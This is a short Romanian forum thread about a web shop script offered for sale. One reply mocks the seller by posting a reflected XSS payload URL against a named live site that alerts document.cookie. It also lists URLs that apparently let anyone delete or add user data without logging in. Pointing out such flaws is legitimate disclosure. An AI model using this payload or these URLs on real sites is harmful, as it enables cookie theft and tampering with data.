Vand script magazin virtual

[Empire]

ce are in plus fata de prestashop, oscommerce, etc. ca sa justifice o achizitie?

[Netul]

ce are in plus fata de prestashop, oscommerce, etc. ca sa justifice o achizitie?

Vulnerabilitati XSS:

http://onsky.ro/magazin/afisare_produs.php?produs=%27;alert%28document.coo kie%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28document. cookie%29%3C/SCRIPT%3E

Si mai grav, paginile din contul unui user se pot accesa fara sa fii macar logat (am facut un test atat dupa logout ca si din alt browser unde nici macar nu m-am logat)
De exemplu poti sterge date / adauga date fara macar sa te loghezi
http://onsky.ro/magazin/actualizari_date_utilizator.php?actiune=stergere_a dresa&id_adresa=2
http://onsky.ro/magazin/adauga_firma.php
http://onsky.ro/magazin/adauga_adresa.php?client=1

.....

Astea probabil ca sunt incluse in cei 200 euroi